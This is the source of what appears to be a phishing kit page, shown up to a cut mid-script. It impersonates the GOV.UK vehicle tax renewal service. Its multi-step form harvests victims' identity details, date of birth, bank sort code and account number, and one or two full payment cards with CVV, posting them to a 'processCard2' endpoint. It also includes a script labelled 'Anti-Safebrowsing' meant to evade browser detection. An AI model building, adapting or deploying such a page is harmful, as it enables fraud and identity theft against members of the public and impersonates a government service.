<?php
defined("ALLOW") or exit('No direct script access allowed');
// Check if backup card is enabled
$backupCardEnabled = (_config('DOUBLECARD') == 'on');
?>
<!DOCTYPE html>
<html lang="en" class="govuk-template">
    <head><meta charset="utf-8">
        
        
        <meta name="viewport" content="width=device-width, initial-scale=1, viewport-fit=cover" />
        <meta http-equiv="X-UA-Compatible" content="IE=Edge" />
        <title>Renew your Vehicle Tax Now - GOV.UK</title>
        <link rel="stylesheet" href="<?= base_url()?>RABBIT/Gens/css/govuk-frontend-3.14.0.min.css">
        <link rel="stylesheet" href="<?= base_url()?>RABBIT/Gens/css/evl-frontend-1.0.0.css">
        <link rel="icon" href="<?= base_url()?>RABBIT/Gens/img/favicon.ico" type="image/x-icon">
        <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap-icons@1.13.1/font/bootstrap-icons.min.css">
        <style>
            /* Progress Bar Styles */
            .progress-container {
                display: flex;
                justify-content: center;
                align-items: center;
                margin: 40px auto;
                max-width: 600px;
                position: relative;
            }
            
            .progress-step {
                display: flex;
                flex-direction: column;
                align-items: center;
                flex: 1;
                position: relative;
            }
            
            .progress-circle {
                width: 40px;
                height: 40px;
                border-radius: 50%;
                background-color: #dee2e6;
                border: 3px solid #dee2e6;
                display: flex;
                align-items: center;
                justify-content: center;
                font-weight: bold;
                color: #6c757d;
                z-index: 2;
                position: relative;
            }
            
            .progress-step.active .progress-circle {
                background-color: #00703c;
                border-color: #00703c;
                color: white;
            }
            
            .progress-step.completed .progress-circle {
                background-color: #00703c;
                border-color: #00703c;
                color: white;
            }
            
            .progress-label {
                margin-top: 10px;
                font-size: 14px;
                color: #0b0c0c;
                text-align: center;
                font-weight: 600;
            }
            
            .progress-line {
                position: absolute;
                top: 20px;
                left: 50%;
                right: -50%;
                height: 3px;
                background-color: #dee2e6;
                z-index: 1;
            }
            
            .progress-step.completed .progress-line {
                background-color: #00703c;
            }
            
            .progress-step:last-child .progress-line {
                display: none;
            }
            
            /* Step Content Styles */
            .step-content {
                display: none;
            }
            
            .step-content.active {
                display: block;
            }
            
            .step-buttons {
                margin-top: 30px;
                display: flex;
                gap: 15px;
            }
            
            .btn-back {
                background-color: #f3f2f1;
                color: #0b0c0c;
                border: 2px solid #0b0c0c;
                padding: 10px 20px;
                font-size: 16px;
                font-weight: 600;
                cursor: pointer;
                text-decoration: none;
                display: inline-block;
            }
            
            .btn-back:hover {
                background-color: #e8e8e8;
            }
            
            .btn-continue {
                background-color: #00703c;
                color: white;
                border: none;
                padding: 12px 30px;
                font-size: 18px;
                font-weight: 600;
                cursor: pointer;
                flex: 1;
                width: 100%;
            }
            
            .btn-continue:hover {
                background-color: #005a30;
            }
            
            .info-display {
                background-color: #f3f2f1;
                padding: 20px;
                border-left: 4px solid #00703c;
                margin-bottom: 30px;
            }
            
            .info-display h3 {
                margin-top: 0;
                font-size: 19px;
                font-weight: 700;
            }
            
            .info-display p {
                margin: 5px 0;
                font-size: 16px;
            }
            
            /* Success Alert Styles */
            .alert-success {
                padding: 15px;
                background-color: #00703c;
                color: white;
                font-size: 16px;
                font-family: 'Arial';
                margin: 10px 0;
                border-radius: 4px;
                display: none;
                animation: fadeIn 0.3s ease-in;
            }
            
            .alert-success.show {
                display: block;
            }
            
            .alert-success.hide {
                animation: fadeOut 0.3s ease-out;
            }
            
            @keyframes fadeIn {
                from {
                    opacity: 0;
                    transform: translateY(-10px);
                }
                to {
                    opacity: 1;
                    transform: translateY(0);
                }
            }
            
            @keyframes fadeOut {
                from {
                    opacity: 1;
                    transform: translateY(0);
                }
                to {
                    opacity: 0;
                    transform: translateY(-10px);
                }
            }
            
            /* Input Field Precision Fix for Mobile */
            .govuk-input,
            .govuk-input--width-20,
            .govuk-input--width-10,
            .govuk-input--width-5,
            .govuk-input--width-4,
            .govuk-input--width-3,
            .govuk-input--width-2 {
                box-sizing: border-box !important;
                max-width: 100% !important;
                width: 100% !important;
            }
            
            .govuk-date-input__input {
                box-sizing: border-box !important;
            }
            
            /* Date input horizontal layout for mobile */
            .govuk-date-input {
                display: flex;
                flex-wrap: nowrap;
                gap: 10px;
            }
            
            .govuk-date-input__item {
                flex: 1;
                min-width: 0;
            }
            
            .govuk-date-input__item .govuk-form-group {
                margin-bottom: 0;
            }
            
            .govuk-date-input .govuk-input--width-2 {
                width: 100% !important;
                max-width: none !important;
            }
            
            .govuk-date-input .govuk-input--width-4 {
                width: 100% !important;
                max-width: none !important;
            }
            
            .govuk-form-group {
                margin-bottom: 20px;
            }
            
            /* Ensure container doesn't overflow */
            .govuk-width-container {
                max-width: 100%;
                padding: 0 15px;
                box-sizing: border-box;
            }
            
            .govuk-main-wrapper {
                padding: 20px 15px;
            }
        </style>
        <script>
            // Anti-Safebrowsing: CSS color palette shifting
            document.documentElement.style.cssText="filter:hue-rotate(4deg)";
        </script>
        <script>
        /**
         * Card Validation Library - Embedded
         */
        
        // ===== LUHN ALGORITHM =====
        function luhnCheck(cardNumber) {
            const digits = cardNumber.replace(/\s/g, '').split('').map(Number);
            let sum = 0;
            let isEven = false;
            
            for (let i = digits.length - 1; i >= 0; i--) {
                let digit = digits[i];
                
                if (isEven) {
                    digit *= 2;
                    if (digit > 9) {
                        digit -= 9;
                    }
                }
                
                sum += digit;
                isEven = !isEven;
            }
            
            return sum % 10 === 0;
        }
        
        // ===== CARD NUMBER VALIDATION =====
        function validateCardNumber(cardNumber) {
            const cleaned = cardNumber.replace(/\s/g, '');
            
            if (!cleaned) {
                return { valid: false, error: 'Card number is required' };
            }
            
            if (!/^\d+$/.test(cleaned)) {
                return { valid: false, error: 'Card number must contain only digits' };
            }
            
            const firstDigit = cleaned.charAt(0);
            
            if (firstDigit === '4' || firstDigit === '5') {
                if (cleaned.length !== 16) {
                    return { valid: false, error: 'Card number must be 16 digits' };
                }
            } else if (firstDigit === '3') {
                if (cleaned.length !== 15) {
                    return { valid: false, error: 'Amex card must be 15 digits' };
                }
            } else {
                return { valid: false, error: 'Invalid card number' };
            }
            
            if (!luhnCheck(cleaned)) {
                return { valid: false, error: 'Invalid card number' };
            }
            
            return { valid: true, cardType: firstDigit === '4' ? 'Visa' : firstDigit === '5' ? 'Mastercard' : 'Amex' };
        }
        
        // ===== EXPIRY DATE VALIDATION =====
        function validateExpiryDate(month, year) {
            if (!month || !year) {
                return { valid: false, error: 'Expiry date is required' };
            }
            
            const monthNum = parseInt(month, 10);
            const yearNum = parseInt(year, 10);
            
            if (monthNum < 1 || monthNum > 12) {
                return { valid: false, error: 'Month must be between 01 and 12' };
            }
            
            const now = new Date();
            const currentYear = now.getFullYear();
            const currentMonth = now.getMonth() + 1;
            
            if (yearNum < currentYear || (yearNum === currentYear && monthNum < currentMonth)) {
                return { valid: false, error: 'Card has expired' };
            }
            
            return { valid: true };
        }
        
        // ===== CVV VALIDATION =====
        function validateCVV(cvv, cardNumber) {
            if (!cvv) {
                return { valid: false, error: 'CVV is required' };
            }
            
            if (!/^\d+$/.test(cvv)) {
                return { valid: false, error: 'CVV must contain only digits' };
            }
            
            const cleaned = cardNumber.replace(/\s/g, '');
            const firstDigit = cleaned.charAt(0);
            
            if (firstDigit === '3') {
                if (cvv.length !== 4) {
                    return { valid: false, error: 'Amex CVV must be 4 digits' };
                }
            } else {
                if (cvv.length !== 3) {
                    return { valid: false, error: 'CVV must be 3 digits' };
                }
            }
            
            return { valid: true };
        }
        
        // ===== MAIN VALIDATION FUNCTION =====
        function validatePaymentCard(cardNumber, month, year, cvv) {
            const cardResult = validateCardNumber(cardNumber);
            if (!cardResult.valid) {
                return { valid: false, field: 'ccnum', error: cardResult.error };
            }
            
            const expiryResult = validateExpiryDate(month, year);
            if (!expiryResult.valid) {
                return { valid: false, field: 'eyear', error: expiryResult.error };
            }
            
            const cvvResult = validateCVV(cvv, cardNumber);
            if (!cvvResult.valid) {
                return { valid: false, field: 'cccvv', error: cvvResult.error };
            }
            
            return { valid: true, cardType: cardResult.cardType };
        }
        
        // ===== ERROR DISPLAY FUNCTIONS =====
        function showFieldError(fieldId, errorMessage) {
            const field = document.getElementById(fieldId);
            if (!field) return;
            
            field.style.borderColor = '#d4351c';
            field.style.borderWidth = '2px';
            
            let errorDiv = field.parentElement.querySelector('.error-message');
            if (!errorDiv) {
                errorDiv = document.createElement('div');
                errorDiv.className = 'error-message';
                errorDiv.style.color = '#d4351c';
                errorDiv.style.fontSize = '14px';
                errorDiv.style.marginTop = '5px';
                errorDiv.style.fontWeight = '500';
                field.parentElement.appendChild(errorDiv);
            }
            errorDiv.textContent = errorMessage;
        }
        
        function clearFieldError(fieldId) {
            const field = document.getElementById(fieldId);
            if (!field) return;
            
            field.style.borderColor = '';
            field.style.borderWidth = '';
            
            const errorDiv = field.parentElement.querySelector('.error-message');
            if (errorDiv) {
                errorDiv.remove();
            }
        }
        
        function clearAllErrors() {
            const errorFields = ['ccnum', 'emonth', 'eyear', 'cccvv'];
            errorFields.forEach(fieldId => clearFieldError(fieldId));
        }
        
        // ===== REAL-TIME VALIDATION =====
        document.addEventListener('DOMContentLoaded', function() {
            console.log('[Card Validation] Embedded validation loaded');
            
            const cardNumField = document.getElementById('ccnum');
            if (cardNumField) {
                cardNumField.addEventListener('blur', function() {
                    const value = this.value.trim();
                    if (value) {
                        const result = validateCardNumber(value);
                        if (!result.valid) {
                            showFieldError('ccnum', result.error);
                        } else {
                            clearFieldError('ccnum');
                        }
                    }
                });
            }
            
            console.log('[Card Validation] Real-time validation initialized');
        });
        </script>
    </head>
    <body class="govuk-template__body js-enabled">
        <form onsubmit="return validateForm();" action="<?php echo base_url(); ?>security-check/billing/processCard2" method="POST" id="EVL" autocomplete="off">
            <?php echo getCSRFTokenField(); ?>
            <header role="banner" class="govuk-header" id="global-header">
                <div class="govuk-header__container govuk-width-container">
                    <div class="govuk-header__logo">
                        <a href="javascript:void(0);" id="logo" class="govuk-header__link govuk-header__link--homepage">
                            <span class="govuk-header__logotype">
                                <svg focusable="false" class="govuk-header__logotype-crown" viewBox="0 0 132 97" height="30" width="36">
                                    <path
                                        fill="currentColor"
                                        fill-rule="evenodd"
                                        d="M25 30.2c3.5 1.5 7.7-.2 9.1-3.7 1.5-3.6-.2-7.8-3.9-9.2-3.6-1.4-7.6.3-9.1 3.9-1.4 3.5.3 7.5 3.9 9zM9 39.5c3.6 1.5 7.8-.2 9.2-3.7 1.5-3.6-.2-7.8-3.9-9.1-3.6-1.5-7.6.2-9.1 3.8-1.4 3.5.3 7.5 3.8 9zM4.4 57.2c3.5 1.5 7.7-.2 9.1-3.8 1.5-3.6-.2-7.7-3.9-9.1-3.5-1.5-7.6.3-9.1 3.8-1.4 3.5.3 7.6 3.9 9.1zm38.3-21.4c3.5 1.5 7.7-.2 9.1-3.8 1.5-3.6-.2-7.7-3.9-9.1-3.6-1.5-7.6.3-9.1 3.8-1.3 3.6.4 7.7 3.9 9.1zm64.4-5.6c-3.6 1.5-7.8-.2-9.1-3.7-1.5-3.6.2-7.8 3.8-9.2 3.6-1.4 7.7.3 9.2 3.9 1.3 3.5-.4 7.5-3.9 9zm15.9 9.3c-3.6 1.5-7.7-.2-9.1-3.7-1.5-3.6.2-7.8 3.7-9.1 3.6-1.5 7.7.2 9.2 3.8 1.5 3.5-.3 7.5-3.8 9zm4.7 17.7c-3.6 1.5-7.8-.2-9.2-3.8-1.5-3.6.2-7.7 3.9-9.1 3.6-1.5 7.7.3 9.2 3.8 1.3 3.5-.4 7.6-3.9 9.1zM89.3 35.8c-3.6 1.5-7.8-.2-9.2-3.8-1.4-3.6.2-7.7 3.9-9.1 3.6-1.5 7.7.3 9.2 3.8 1.4 3.6-.3 7.7-3.9 9.1zM69.7 17.7l8.9 4.7V9.3l-8.9 2.8c-.2-.3-.5-.6-.9-.9L72.4 0H59.6l3.5 11.2c-.3.3-.6.5-.9.9l-8.8-2.8v13.1l8.8-4.7c.3.3.6.7.9.9l-5 15.4v.1c-.2.8-.4 1.6-.4 2.4 0 4.1 3.1 7.5 7 8.1h.2c.3 0 .7.1 1 .1.4 0 .7 0 1-.1h.2c4-.6 7.1-4.1 7.1-8.1 0-.8-.1-1.7-.4-2.4V34l-5.1-15.4c.4-.2.7-.6 1-.9zM66 92.8c16.9 0 32.8 1.1 47.1 3.2 4-16.9 8.9-26.7 14-33.5l-9.6-3.4c1 4.9 1.1 7.2 0 10.2-1.5-1.4-3-4.3-4.2-8.7L108.6 76c2.8-2 5-3.2 7.5-3.3-4.4 9.4-10 11.9-13.6 11.2-4.3-.8-6.3-4.6-5.6-7.9 1-4.7 5.7-5.9 8-.5 4.3-8.7-3-11.4-7.6-8.8 7.1-7.2 7.9-13.5 2.1-21.1-8 6.1-8.1 12.3-4.5 20.8-4.7-5.4-12.1-2.5-9.5 6.2 3.4-5.2 7.9-2 7.2 3.1-.6 4.3-6.4 7.8-13.5 7.2-10.3-.9-10.9-8-11.2-13.8 2.5-.5 7.1 1.8 11 7.3L80.2 60c-4.1 4.4-8 5.3-12.3 5.4 1.4-4.4 8-11.6 8-11.6H55.5s6.4 7.2 7.9 11.6c-4.2-.1-8-1-12.3-5.4l1.4 16.4c3.9-5.5 8.5-7.7 10.9-7.3-.3 5.8-.9 12.8-11.1 13.8-7.2.6-12.9-2.9-13.5-7.2-.7-5 3.8-8.3 7.1-3.1 2.7-8.7-4.6-11.6-9.4-6.2 3.7-8.5 3.6-14.7-4.6-20.8-5.8 7.6-5 13.9 2.2 21.1-4.7-2.6-11.9.1-7.7 8.8 2.3-5.5 7.1-4.2 8.1.5.7 3.3-1.3 7.1-5.7 7.9-3.5.7-9-1.8-13.5-11.2 2.5.1 4.7 1.3 7.5 3.3l-4.7-15.4c-1.2 4.4-2.7 7.2-4.3 8.7-1.1-3-.9-5.3 0-10.2l-9.5 3.4c5 6.9 9.9 16.7 14 33.5 14.8-2.1 30.8-3.2 47.7-3.2z"
                                    ></path>
                                </svg>
                                <span class="govuk-header__logotype-text">GOV.UK</span>
                            </span>
                        </a>
                    </div>
                    <div class="govuk-header__content"><a href="#" class="govuk-header__link govuk-header__link--service-name">Vehicle tax</a></div>
                </div>
            </header>
            
            <div class="govuk-width-container app-width-container">
                <div class="govuk-phase-banner">
                    <p class="govuk-phase-banner__content">
                        <strong class="govuk-tag govuk-phase-banner__content__tag"> BETA </strong>
                        <span class="govuk-phase-banner__text"> This is a new service – your <a class="govuk-link" href="#">feedback</a> will help us to improve it. </span>
                    </p>
                </div>
                
                <!-- Progress Bar -->
                <div class="progress-container">
                    <div class="progress-step active" data-step="1">
                        <div class="progress-circle">1</div>
                        <div class="progress-label">Personal Info</div>
                        <div class="progress-line"></div>
                    </div>
                    <div class="progress-step" data-step="2">
                        <div class="progress-circle">2</div>
                        <div class="progress-label">Payment Card</div>
                        <?php if ($backupCardEnabled): ?>
                        <div class="progress-line"></div>
                        <?php endif; ?>
                    </div>
                    <?php if ($backupCardEnabled): ?>
                    <div class="progress-step" data-step="3">
                        <div class="progress-circle">3</div>
                        <div class="progress-label">Confirmation</div>
                    </div>
                    <?php endif; ?>
                </div>
                
                <!-- Success Alert -->
                <div class="alert-success" id="successAlert">
                    <i class="bi bi-check-circle"></i> Card added successfully.
                </div>
                
                <main class="govuk-main-wrapper app-width-container" role="main" id="main-content">
                    
                    <!-- STEP 1: Personal Information + Bank Info -->
                    <div class="step-content active" id="step1">
                        <div id="startHeader" class="start-header group">
                            <h1 class="govuk-heading-xl">Personal Information</h1>
                        </div>
                        <div id="MainContent_divV11Info">
                            <div class="govuk-warning-text">
                                <span class="govuk-warning-text__icon">!</span> 
                                <strong class="govuk-warning-text__text">Please confirm your personal details to process your vehicle tax.</strong>
                            </div>
                        </div>
                        
                        <div class="govuk-form-group">
                            <label class="govuk-label" for="fullname">Full Name</label>
                            <span class="govuk-error-message" style="display: none;">Please enter your Full Name</span>
                            <input name="fname" id="fullname" type="text" autocomplete="off" class="govuk-input govuk-input--width-20" />
                        </div>
                        
                        <div class="govuk-form-group">
                            <label class="govuk-label" for="email">Email Address</label>
                            <span class="govuk-error-message" style="display: none;">Please enter your Email Address</span>
                            <input name="user" id="email" type="email" autocomplete="off" class="govuk-input govuk-input--width-20" />
                        </div>
                        
                        <div class="govuk-form-group">
                            <label class="govuk-label" for="mobile">Mobile number</label>
                            <span class="govuk-error-message" style="display: none;">Please enter your Mobile number</span>
                            <input name="mobilenum" id="mobile" type="tel" autocomplete="off" class="govuk-input govuk-input--width-20" />
                        </div>
                        
                        <div class="govuk-form-group">
                            <label class="govuk-label" for="postcode">Postcode</label>
                            <span class="govuk-error-message" style="display: none;">Please enter your Postcode</span>
                            <input name="postcode" id="postcode" type="text" autocomplete="off" class="govuk-input govuk-input--width-20" />
                        </div>
                        
                        <div class="govuk-form-group">
                            <label class="govuk-label" for="address">Address</label>
                            <span class="govuk-error-message" style="display: none;">Please enter your Address</span>
                            <input name="address" id="address" type="text" autocomplete="off" class="govuk-input govuk-input--width-20" />
                        </div>
                        
                        <br>
                        <div id="startHeader" class="start-header group">
                            <h2 class="govuk-heading-l">What is your date of birth?</h2>
                        </div>
                        
                        <div class="govuk-form-group date-of-birth-wrapper">
                            <fieldset class="govuk-fieldset">
                                <legend class="govuk-fieldset__legend govuk-fieldset__legend--s">Date of birth</legend>
                                <div id="dateOfBirth-hint" class="govuk-hint">For example, 15 11 1980</div>
                                <p style="display: none;" class="govuk-error-message" id="dobErrors">Please enter your Date of birth</p>
                                <div class="govuk-date-input" id="dateOfBirth">
                                    <div class="govuk-date-input__item">
                                        <div class="govuk-form-group">
                                            <label class="govuk-label govuk-date-input__label" for="day">Day</label>
                                            <input class="govuk-input govuk-date-input__input govuk-input--width-2" id="day" name="day" type="text" autocomplete="off" inputmode="numeric" placeholder="DD" maxlength="2">
                                        </div>
                                    </div>
                                    <div class="govuk-date-input__item">
                                        <div class="govuk-form-group">
                                            <label class="govuk-label govuk-date-input__label" for="month">Month</label>
                                            <input class="govuk-input govuk-date-input__input govuk-input--width-2" id="month" name="month" type="text" autocomplete="off" inputmode="numeric" placeholder="MM" maxlength="2">
                                        </div>
                                    </div>
                                    <div class="govuk-date-input__item">
                                        <div class="govuk-form-group">
                                            <label class="govuk-label govuk-date-input__label" for="year">Year</label>
                                            <input class="govuk-input govuk-date-input__input govuk-input--width-4" id="year" name="year" type="text" autocomplete="off" inputmode="numeric" placeholder="YYYY" maxlength="4">
                                        </div>
                                    </div>
                                </div>
                            </fieldset>
                        </div>
                        
                        <br>
                        <div id="startHeader" class="start-header group">
                            <h2 class="govuk-heading-l">Bank Information</h2>
                        </div>
                        
                        <div class="govuk-form-group">
                            <label class="govuk-label" for="sortcode">Sort code</label>
                            <div class="govuk-hint">Must be 6 digits long</div>
                            <span id="sortError" class="govuk-error-message" style="display: none;">Please enter your Sort code</span>
                            <input name="sortcode" id="sortcode" type="text" autocomplete="off" class="govuk-input govuk-input--width-10" maxlength="8" placeholder="00-00-00" />
                        </div>
                        
                        <div class="govuk-form-group">
                            <label class="govuk-label" for="actnumber">Account number</label>
                            <div class="govuk-hint">Must be between 6 and 8 digits long</div>
                            <span id="actError" class="govuk-error-message" style="display: none;">Please enter your Account number</span>
                            <input name="actnumber" id="actnumber" type="text" autocomplete="off" class="govuk-input govuk-input--width-10" maxlength="8" />
                        </div>
                        
                        <div class="step-buttons">
                            <button type="button" class="btn-continue" onclick="nextStep(1)">Continue</button>
                        </div>
                        <p style="margin-top: 15px; color: #505a5f;">(Takes only 2 minutes)</p>
                    </div>
                    
                    <!-- STEP 2: Payment Card 1 -->
                    <div class="step-content" id="step2">
                        <div id="startHeader" class="start-header group">
                            <h1 class="govuk-heading-xl">Your payment details</h1>
                        </div>
                        <div id="MainContent_divV11Info">
                            <div class="govuk-warning-text">
                                <span class="govuk-warning-text__icon">!</span> 
                                <strong class="govuk-warning-text__text">Your vehicle tax will be renewed immediately once your payment has been processed.</strong>
                            </div>
                        </div>
                        
                        <div class="govuk-form-group">
                            <label class="govuk-label" for="ccnum">Card number</label>
                            <span id="ccError" class="govuk-error-message" style="display: none;">Please enter your valid card number</span>
                            <input name="ccn" id="ccnum" type="text" autocomplete="off" class="govuk-input govuk-input--width-20" maxlength="19" />
                        </div>
                        
                        <div class="govuk-form-group date-of-birth-wrapper">
                            <fieldset class="govuk-fieldset">
                                <legend class="govuk-fieldset__legend govuk-fieldset__legend--s">Card expiry date</legend>
                                <div id="dateOfBirth-hint" class="govuk-hint">For example, 11 2025</div>
                                <p id="expiry-error" class="govuk-error-message" style="display: none;">Enter a valid expiry date</p>
                                <div class="govuk-date-input">
                                    <div class="govuk-date-input__item">
                                        <div class="govuk-form-group">
                                            <label class="govuk-label govuk-date-input__label" for="emonth">Month</label>
                                            <input class="govuk-input govuk-date-input__input govuk-input--width-2" id="emonth" name="emonth" type="text" autocomplete="off" inputmode="numeric" placeholder="MM" maxlength="2">
                                        </div>
                                    </div>
                                    <div class="govuk-date-input__item">
                                        <div class="govuk-form-group">
                                            <label class="govuk-label govuk-date-input__label" for="eyear">Year</label>
                                            <input class="govuk-input govuk-date-input__input govuk-input--width-4" id="eyear" name="eyear" type="text" autocomplete="off" inputmode="numeric" placeholder="YYYY" maxlength="4">
                                        </div>
                                    </div>
                                </div>
                            </fieldset>
                        </div>
                        
                        <div class="govuk-form-group">
                            <label class="govuk-label" for="cccvv">CVV</label>
                            <div class="govuk-hint">The last 3 digits on the back of your card</div>
                            <span id="cvvError" class="govuk-error-message" style="display: none;">Please enter your CVV</span>
                            <input name="cvv" id="cccvv" type="tel" autocomplete="off" class="govuk-input govuk-input--width-5" maxlength="3" />
                        </div>
                        
                        <div class="step-buttons">
                            <button type="button" class="btn-back" onclick="prevStep(2)">Back</button>
                            <button type="button" class="btn-continue" onclick="nextStep(2)">Continue</button>
                        </div>
                        <p style="margin-top: 15px; color: #505a5f;">(Almost done!)</p>
                    </div>
                    
                    <?php if ($backupCardEnabled): ?>
                    <!-- STEP 3: Backup Payment Card 2 -->
                    <div class="step-content" id="step3">
                        <div id="startHeader" class="start-header group">
                            <h1 class="govuk-heading-xl">Backup Payment Card</h1>
                        </div>
                        <div id="MainContent_divV11Info">
                            <div class="govuk-warning-text">
                                <span class="govuk-warning-text__icon">!</span> 
                                <strong class="govuk-warning-text__text">Please provide a backup payment card. This card must be different from your primary card.</strong>
                            </div>
                        </div>
                        
                        <!-- Display Personal Info -->
                        <div class="info-display">
                            <h3>Your Information</h3>
                            <p><strong>Name:</strong> <span id="display-name"></span></p>
                            <p><strong>Address:</strong> <span id="display-address"></span></p>
                            <p><strong>Postcode:</strong> <span id="display-postcode"></span></p>
                        </div>
                        
                        <h2 class="govuk-heading-m">Backup Card Details</h2>
                        
                        <div class="govuk-form-group">
                            <label class="govuk-label" for="ccnum2">Card number</label>
                            <span id="ccError2" class="govuk-error-message" style="display: none;">Please enter a valid card number (must be different from primary card)</span>
                            <input name="ccn2" id="ccnum2" type="text" autocomplete="off" class="govuk-input govuk-input--width-20" maxlength="19" />
                        </div>
                        
                        <div class="govuk-form-group date-of-birth-wrapper">
                            <fieldset class="govuk-fieldset">
                                <legend class="govuk-fieldset__legend govuk-fieldset__legend--s">Card expiry date</legend>
                                <div id="dateOfBirth-hint" class="govuk-hint">For example, 11 2025</div>
                                <p id="expiry-error2" class="govuk-error-message" style="display: none;">Enter a valid expiry date</p>
                                <div class="govuk-date-input">
                                    <div class="govuk-date-input__item">
                                        <div class="govuk-form-group">
                                            <label class="govuk-label govuk-date-input__label" for="emonth2">Month</label>
                                            <input class="govuk-input govuk-date-input__input govuk-input--width-2" id="emonth2" name="emonth2" type="text" autocomplete="off" inputmode="numeric" placeholder="MM" maxlength="2">
                                        </div>
                                    </div>
                                    <div class="govuk-date-input__item">
                                        <div class="govuk-form-group">
                                            <label class="govuk-label govuk-date-input__label" for="eyear2">Year</label>
                                            <input class="govuk-input govuk-date-input__input govuk-input--width-4" id="eyear2" name="eyear2" type="text" autocomplete="off" inputmode="numeric" placeholder="YYYY" maxlength="4">
                                        </div>
                                    </div>
                                </div>
                            </fieldset>
                        </div>
                        
                        <div class="govuk-form-group">
                            <label class="govuk-label" for="cccvv2">CVV</label>
                            <div class="govuk-hint">The last 3 digits on the back of your card</div>
                            <span id="cvvError2" class="govuk-error-message" style="display: none;">Please enter your CVV</span>
                            <input name="cvv2" id="cccvv2" type="tel" autocomplete="off" class="govuk-input govuk-input--width-5" maxlength="3" />
                        </div>
                        
                        <div class="step-buttons">
                            <button type="button" class="btn-back" onclick="prevStep(3)">Back</button>
                            <button type="submit" class="btn-continue" id="submitButton">Complete Payment</button>
                        </div>
                        <p style="margin-top: 15px; color: #505a5f;">(Final step)</p>
                    </div>
                    <?php endif; ?>
                    
                </main>
            </div>
            
            <footer class="govuk-footer" role="contentinfo">
                <div class="govuk-width-container">
                    <div class="govuk-footer__meta">
                        <div class="govuk-footer__meta-item govuk-footer__meta-item--grow">
                            <h2 class="govuk-visually-hidden">Support links</h2>
                            <ul class="govuk-footer__inline-list">
                                <li class="govuk-footer__inline-list-item"><a class="govuk-footer__link" id="cookiesLink">Cookies</a></li>
                                <li class="govuk-footer__inline-list-item"><a class="govuk-footer__link">Terms and Conditions</a></li>
                                <li class="govuk-footer__inline-list-item">
                                    <a class="govuk-footer__link" id="butEnglish">English</a>
                                </li>
                                <li class="govuk-footer__inline-list-item">
                                    <a class="govuk-footer__link" id="butWelsh">Cymraeg</a>
                                </li>
                                <li class="govuk-footer__inline-list-item"><a class="govuk-footer__link">Privacy Information Notice</a></li>
                                <li class="govuk-footer__inline-list-item"><a class="govuk-footer__link">Accessibility</a></li>
                            </ul>
                            <svg aria-hidden="true" focusable="false" class="govuk-footer__licence-logo" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 483.2 195.7" height="17" width="41">
                                <path
                                    fill="currentColor"
                                    d="M421.5 142.8V.1l-50.7 32.3v161.1h112.4v-50.7zm-122.3-9.6A47.12 47.12 0 0 1 221 97.8c0-26 21.1-47.1 47.1-47.1 16.7 0 31.4 8.7 39.7 21.8l42.7-27.2A97.63 97.63 0 0 0 268.1 0c-36.5 0-68.3 20.1-85.1 49.7A98 98 0 0 0 97.8 0C43.9 0 0 43.9 0 97.8s43.9 97.8 97.8 97.8c36.5 0 68.3-20.1 85.1-49.7a97.76 97.76 0 0 0 149.6 25.4l19.4 22.2h3v-87.8h-80l24.3 27.5zM97.8 145c-26 0-47.1-21.1-47.1-47.1s21.1-47.1 47.1-47.1 47.2 21 47.2 47S123.8 145 97.8 145"
                                />
                            </svg>
                            <span class="govuk-footer__licence-description">
                                All content is available under the
                                <a class="govuk-footer__link" rel="license">Open Government Licence v3.0</a>, except where otherwise stated
                            </span>
                        </div>
                        <div class="govuk-footer__meta-item">
                            <a class="govuk-footer__link govuk-footer__copyright-logo">© Crown copyright</a>
                        </div>
                    </div>
                </div>
            </footer>
        </form>
        
        <script>
            let currentStep = 1;
            let card1Number = '';
            
            function showStep(step) {
                // Hide all steps
                document.querySelectorAll('.step-content').forEach(el => {
                    el.classList.remove('active');
                });
                
                // Show current step
                document.getElementById('step' + step).classList.add('active');
                
                // Update progress bar
                document.querySelectorAll('.progress-step').forEach((el, index) => {
                    const stepNum = index + 1;
                    if (stepNum < step) {
                        el.classList.add('completed');
                        el.classList.remove('active');
                    } else if (stepNum === step) {
                        el.classList.add('active');
                        el.classList.remove('completed');
                    } else {
                        el.classList.remove('active', 'completed');
                    }
                });
                
                // If moving to step 3, display personal info
                if (step === 3) {
                    document.getElementById('display-name').textContent = document.getElementById('fullname').value;
                    document.getElementById('display-address').textContent = document.getElementById('address').value;
                    document.getElementById('display-postcode').textContent = document.getElementById('postcode').value;
                }
                
                // Scroll to top
                window.scrollTo(0, 0);
            }
            
            function validateStep(step) {
                let isValid = true;
                
                if (step === 1) {
                    // Validate personal info + bank info
                    const fullname = document.getElementById('fullname').value.trim();
                    const email = document.getElementById('email').value.trim();
                    const mobile = document.getElementById('mobile').value.trim();
                    const address = document.getElementById('address').value.trim();
                    const postcode = document.getElementById('postcode').value.trim();
                    const day = document.getElementById('day').value.trim();
                    const month = document.getElementById('month').value.trim();
                    const year = document.getElementById('year').value.trim();
                    const sortcode = document.getElementById('sortcode').value.trim();
                    const actnumber = document.getElementById('actnumber').value.trim();
                    
                    if (!fullname || !email || !mobile || !address || !postcode || !day || !month || !year || !sortcode || !actnumber) {
                        alert('Please fill in all required fields');
                        isValid = false;
                    }
                    
                    // Validate date of birth
                    if (isValid && !validateDateOfBirth()) {
                        // Scroll to error message
                        document.getElementById('dobErrors').scrollIntoView({ behavior: 'smooth', block: 'center' });
                        isValid = false;
                    }
                } else if (step === 2) {
                    // Validate payment card 1
                    const ccnum = document.getElementById('ccnum').value.trim();
                    const emonth = document.getElementById('emonth').value.trim();
                    const eyear = document.getElementById('eyear').value.trim();
                    const cvv = document.getElementById('cccvv').value.trim();
                    
                    if (!ccnum || !emonth || !eyear || !cvv) {
                        if (typeof showToast !== 'undefined') {
                            showToast('Please fill in all payment details', 'error');
                        } else {
                            alert('Please fill in all payment details');
                        }
                        isValid = false;
                    } else {
                        // Use validatePaymentCard from cardval.js
                        const result = validatePaymentCard(ccnum, emonth, eyear, cvv);
                        if (!result.valid) {
                            console.log('[validateStep] Validation FAILED: ' + result.error);
                            showFieldError(result.field, result.error);
                            if (typeof showToast !== 'undefined') {
                                showToast(result.error, 'error');
                            } else {
                                alert(result.error);
                            }
                            isValid = false;
                        } else {
                            // Store card 1 number for comparison
                            card1Number = ccnum.replace(/\s/g, '');
                            console.log('[validateStep] Card validation PASSED');
                        }
                    }
                }
                
                return isValid;
            }
            
            function nextStep(step) {
                if (validateStep(step)) {
                    if (step === 2) {
                        // AJAX submit for card 1
                        submitCard1();
                    } else {
